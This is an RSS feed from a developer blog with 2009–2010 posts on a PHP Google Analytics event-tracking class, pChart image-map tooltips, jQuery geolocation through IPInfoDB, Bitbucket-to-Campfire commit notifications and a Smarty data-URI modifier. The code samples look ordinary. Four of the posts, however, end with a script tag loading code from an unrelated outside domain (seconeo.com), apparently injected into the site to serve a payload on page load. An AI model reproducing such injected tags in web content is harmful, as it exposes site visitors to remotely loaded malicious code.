<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>There4 Development &#187; PHP</title>
	<atom:link href="http://there4development.com/category/blog/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://there4development.com</link>
	<description>Application development and consulting</description>
	<lastBuildDate>Wed, 01 Sep 2010 02:44:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>PHP class for posting to Google Analytics Event Tracking</title>
		<link>http://there4development.com/2010/08/php-class-for-posting-to-google-analytics-event-tracking/</link>
		<comments>http://there4development.com/2010/08/php-class-for-posting-to-google-analytics-event-tracking/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 02:16:12 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=489</guid>
		<description><![CDATA[This is a small class that can be used to send an event to Google Analytics Event Tracking. On some occasions, it has been useful to send a server side event to Analytics that may not be handled via the typical JS. For instance, you could integrate this with an error handler, a file download [...]]]></description>
			<content:encoded><![CDATA[<p>This is a small class that can be used to send an event to <a href="http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html">Google Analytics Event Tracking</a>. On some occasions, it has been useful to send a server side event to Analytics that may not be handled via the typical JS. </p>
<p>For instance, you could integrate this with an error handler, a file download system, or perhaps a way to track comment submission via a separate metric in Analytics.</p>
<p>Please note that you can instantiate this class with a UA code and domain, or allow the class to use a constant for the UA code and the server HTTP_HOST var. </p>
<pre class="brush:php">
&lt;?php
/**
 * Google Analytics event tracking
 *
 * @author there4 development
 * @created 07/15/2010
 */

class Analytics
{
  private $code;
  private $domain;
  private $useragent;
  private $cookie;
  private $verbose;

  function __construct($code = '', $domain = '') {
    $this->code      = $code ? $code : GOOG_UA;
    $this->domain    = $domain ? $domain : $_SERVER['HTTP_HOST'];
    $this->verbose   = false;
    $this->useragent = 'EventAgent/0.1 (http://there4development.com/)';
    // you may wish to set this
    $this->referer  = $this->domain;
    $this->cookie    = "mycookie";
  }

  /**
   * @see http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html
   *
   * @param string $object the name you supply for the group of objects you want to track.
   * @param string $action A string that is uniquely paired with each category, and commonly
   *    used to define the type of user interaction for the web object.
   * @param string $label An optional string to provide additional dimensions to the event data.
   * @param string $value An integer that you can use to provide numerical data about the user event.
   */
  public function trackEvent($object, $action, $label = '', $value = 1) {
    $var_utmac   = $this->code;
    $var_utmhn   = $this->domain;
    $var_utmn    = rand(1000000000,9999999999); //random request number
    $var_cookie  = rand(10000000,99999999);     //random cookie number
    $var_random  = rand(1000000000,2147483647); //number under 2147483647
    $var_today   = time();                      //today
    $var_referer = $this->referer;             //referer url
    $var_utmp    = 'index.php';
    $var_uservar = '';

    /**
     * url to fetch the gif image from
     * @see http://code.google.com/intl/de-DE/apis/analytics/docs/tracking/gaTrackingTroubleshooting.html#gifParameters
     */
    $urchin_url = 'http://www.google-analytics.com/__utm.gif';
    $urchin_params = ''
      .'?utmwv=1'               // Tracking code version
      .'&#038;utmn='.$var_utmn       // Prevent caching random number
      .'&#038;utmsr=-'               // Screen resolution
      .'&#038;utmsc=-'               // Screen color depth
      .'&#038;utmul=-'               // Browser language
      .'&#038;utmje=0'               // Is browser Java-enabled
      .'&#038;utmfl=-'               // Flash Version
      .'&#038;utmdt=-'               // Page title, url encoded
      .'&#038;utmhn='.$var_utmhn     // Host Name
      .'&#038;utmp='.$var_utmp       // page
      .'&#038;utmr='.$var_referer    // Referral, complete url
      .'&#038;utmac='.$var_utmac     // Account code
      .'&#038;utmt=event'            // Type of request
      ."&#038;utme=".rawurlencode("5($object*$action*$label)($value):") // Extensible parameter, used for the event data here
      .'&#038;utmcc=__utma%3D'.$var_cookie.'.'.$var_random.'.'.$var_today.'.'.$var_today.'.'.$var_today.'.2%3B%2B__utmb%3D'.$var_cookie.'%3B%2B__utmc%3D'.$var_cookie.'%3B%2B__utmz%3D'.$var_cookie.'.'.$var_today.'.2.2.utmccn%3D(direct)%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)%3B%2B__utmv%3D'.$var_cookie.'.'.$var_uservar.'%3B'
      ; // Cookie values are in this utmcc

    $url = $urchin_url . $urchin_params;

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, $this->useragent);
    curl_setopt($ch, CURLOPT_VERBOSE, $this->verbose);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
    $output = curl_exec($ch);
    curl_close($ch);
    return ($output != '') ? true : false;
  }

}
?></pre>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/08/php-class-for-posting-to-google-analytics-event-tracking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pChart and jQuery image map hover</title>
		<link>http://there4development.com/2010/06/pchart-and-jquery-image-map-hover/</link>
		<comments>http://there4development.com/2010/06/pchart-and-jquery-image-map-hover/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 19:16:41 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=481</guid>
		<description><![CDATA[I have used pChart as a graphing and charting package in several projects. It produces clean graphs, but its native tooltip support has always disappointed me. I set about to update this with new functionality and to replace the existing javascript with something new from jQuery. I&#8217;ve chosen to use qTip to handle the tooltip [...]]]></description>
			<content:encoded><![CDATA[<p>I have used <a href="http://pchart.sourceforge.net/">pChart</a> as a graphing and charting package in several projects. It produces clean graphs, but its native <a href="http://pchart.sunyday.net/ImageMap/">tooltip support</a> has always disappointed me. </p>
<p>I set about to update this with new functionality and to replace the existing javascript with something new from jQuery. I&#8217;ve chosen to use <a href="http://craigsworks.com/projects/qtip/">qTip</a> to handle the tooltip production, and have extended pChart with new functions for both pChart_Map::SaveImageMap() and pChart_Map::GetImageMap(). These functions now produce an <a href="http://www.w3schools.com/tags/tag_map.asp">image map</a> rather than the pChart data format. </p>
<h2>Demo</h2>
<p>You can see a <a href="/projects/pchart_map">working demo</a> in my project sandbox.</p>
<h2>Download</h2>
<p><a class="download" href="/projects/pchart_map/pchart_map.zip">Download pChart_Map</a></p>
<h2>How it works</h2>
<ol>
<li>The page has a new jQuery plugin called pChart() for each of the pChart images.</li>
<li>The browser calls the pChart image producer with a unique ID for the image</li>
<li>As the pChart image is created, pChart writes an image map file for this ID to a tmp directory</li>
<li>The jQuery load() event catches when pChart has loaded the image</li>
<li>jQuery loads the newly created image map file from disk via pChart</li>
<li>jQuery attaches the image map to the image, and then applies qTip to the chart for this image map</li>
</ol>
<h2>Notes</h2>
<ul>
<li>Make sure that the image tag has an id that matches the MapID on the get request for the chart.</li>
</ul>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/06/pchart-and-jquery-image-map-hover/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Geolocation services with jQuery and IPInfoDB</title>
		<link>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/</link>
		<comments>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 02:42:33 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=466</guid>
		<description><![CDATA[I&#8217;m releasing a simple script that uses jQuery and a small proxy script to deliver location services via jQuery. You can see a simple example. Geolocation with IPInfoDB Requirements jQuery JSON jQuery Cookie Snoopy PHP Code and explanations By placing this at the jQuery level it prevents any page blocking that may occur during loading, [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m releasing a simple script that uses jQuery and a small proxy script to deliver location services via jQuery. You can see a <a href="http://there4development.com/projects/geolocation/">simple example</a>.</p>
<p><a class="download" href="/projects/geolocation/geolocation.zip">Geolocation with IPInfoDB</a></p>
<h2>Requirements</h2>
<ul>
<li><a href="http://code.google.com/p/jquery-json/">jQuery JSON</a></li>
<li><a href="http://plugins.jquery.com/project/cookie">jQuery Cookie</a></li>
<li><a href="http://sourceforge.net/projects/snoopy/">Snoopy PHP</a></li>
</ul>
<h2>Code and explanations</h2>
<p>By placing this at the jQuery level it prevents any page blocking that may occur during loading, and the proxy script prevents any cross site scripting problems.</p>
<p>First, the javascript variables , with a small bit of PHP:</p>
<pre class="brush:jscript">
var ip = "&lt;?php print $_SERVER['REMOTE_ADDR'];?&gt;";
var geolocation = "./ip_proxy.php";
var cookiename = 'geo_location';
var cookieoptions = { path: '/', expires: 10 };
</pre>
<p>These variables setup the path to the proxy script, place the users IP address into a javascript variable, and establish our cookie parameters. Next, we setup our page initialization function:</p>
<pre class="brush:jscript">
$(function(){

  fetchlocation();

});
</pre>
<pre class="brush:jscript">
displaylocation = function(location) {
  if (location.Status == 'OK') {
    $('.city').text(location.City);
    $('.zip').text(location.ZipPostalCode);
    if(location.State != '--') {
      $('.state').text(location.State);
    } else {
      $('.state').text(location.RegionName);
    }
  }
}

fetchlocation = function() {
  // look in the cookie for the location data
  cookiedata = $.cookie(cookiename);
  if ('' != cookiedata) {
    locationinfo = $.evalJSON(cookiedata);
    if ((locationinfo != null) &#038;&#038; (locationinfo.IP == ip)) {
      displaylocation(locationinfo);
      $.cookie(cookiename, cookiedata, cookieoptions);
      return;
    }
  }
  // it's not in the cookie, so fetch from the server
  $.getJSON(
    geolocation, {
      'timezone' : 'false', // set this to false to save the service 2 queries
      'ip'       : ip
    },
    function(data) {
      data.IP = ip;
      displaylocation(data);
      cookiedata = $.toJSON(data);
      $.cookie(cookiename, cookiedata, cookieoptions);
    }
  );
}
</pre>
<h2>PHP code</h2>
<p>The PHP code is well documented within the ip_proxy.php file. It acts as an intermediary between the jQuery script, and the IP producer. Note that the file can restrict based on hosts, and adds an extra State abbreviation variable to the data returned by the <a href="http://ipinfodb.com/">IPInfoDB API</a></p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Commit integration from bitbucket.org to Campfire chat</title>
		<link>http://there4development.com/2009/11/bitbucket-and-campfire/</link>
		<comments>http://there4development.com/2009/11/bitbucket-and-campfire/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 19:18:43 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=416</guid>
		<description><![CDATA[My full time employer recently began to host our projects with Bitbucket.org. I&#8217;ve been very impressed so far, and have been enjoying the ease of browsing past revisions and merges. We also use the 37 Signals collection of applications. Bitbucket has some rudimentary Basecamp integration, but we spend time collaborating in Campfire, and I wanted [...]]]></description>
			<content:encoded><![CDATA[<p>My full time employer recently began to host our projects with <a href="Bitbucket.org">Bitbucket.org</a>. I&#8217;ve been very impressed so far, and have been enjoying the ease of browsing past revisions and merges. We also use the <a href="http://37signals.com">37 Signals</a> collection of applications. Bitbucket has some rudimentary <a href="http://basecamphq.com/">Basecamp</a> integration, but we spend time collaborating in <a href="http://campfirenow.com">Campfire</a>, and I wanted to be alerted when commits were made via chat.</p>
<p>I found a php class called <a href="http://labs.mimmin.com/icecube/">Icecube</a> that integrates with the <a href="http://productblog.37signals.com/products/2008/01/print-data-from.html">Campfire API</a>. The documentation for the Bitbucket post data can be found in their help docs for <a href="http://bitbucket.org/help/WritingBrokers#the-payload">the post payload</a>. I combined this class with a code found at <a href="http://61924.nl/blog/e/00015-bitbucket-commit-irc-bot.html">61924.nl</a>, The script from 61924 can receive the payload from Bitbucket, and process it correctly. I&#8217;ve modified the script to present the commit messages with improved formatting, and have added some config options.</p>
<h1>Download the scripts</h1>
<p><a class="download" href="http://labs.mimmin.com/icecube/">Download Icecube at 61924.nl</a><br />
<a class="download" href="/source/bitbucket/bitbucket.php">Download Bitbucket and Campfire script</a></p>
<h1>Setup the scripts</h1>
<p><img src="http://there4development.com/wp-content/uploads/2009/11/Picture-21.png" alt="Bitbucket script config" title="Bitbucket script config" width="507" height="265" class="aligncenter size-full wp-image-426"  style="border: 2px dashed #dedede; margin: 5px;"/></p>
<p>Place both of the scripts into a web accessible directory, and open bitbucket.php and edit the config section of the file.</p>
<p><img src="http://there4development.com/wp-content/uploads/2009/11/Picture-1.png" alt="Bitbucket Post Setup" title="Bitbucket Post Setup" width="464" height="229" class="aligncenter size-full wp-image-425" style="border: 2px dashed #dedede; margin: 5px;"/><br />
Next, open your bitbucket.org repo, choose admin, services, and then add a new post type. Then specify the url to bitbucketchat.php.</p>
<h1>Using the script</h1>
<p>Join the chat with another account, and make a post!</p>
<p>Questions or suggestions? Leave a comment!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/11/bitbucket-and-campfire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Smarty template function for the data uri format</title>
		<link>http://there4development.com/2009/02/smarty-template-modifier-for-the-data-uri-format/</link>
		<comments>http://there4development.com/2009/02/smarty-template-modifier-for-the-data-uri-format/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 00:51:16 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[smarty]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=26</guid>
		<description><![CDATA[In a recent project, I needed to provide an html document that could be used offline. After initially experimenting with zip files and other methods of delivering the associated image files, I chose to use the somewhat rare method of using the data uri scheme. This provides us with the ability to place the image [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent project, I needed to provide an html document that could be used offline. After initially experimenting with zip files and other methods of delivering the associated image files, I chose to use the somewhat rare method of using the <a href="http://en.wikipedia.org/wiki/Data_URI_scheme">data uri scheme</a>. This provides us with the ability to place the image data in-line with the page.</p>
<p><a class="download" href="http://there4development.com/source/smarty/function.img2data.php">Download the modifier</a></p>
<p>The approach is straightforward. We must base64 encode the image data and place it with the proper formatting into the src attribute of an img tag. The processing is accomplished in this case with a smarty modifier.</p>
<pre class="brush:plain">
&lt;img src="{img2data path='/images/inline.gif'}" /&gt;
</pre>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/02/smarty-template-modifier-for-the-data-uri-format/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
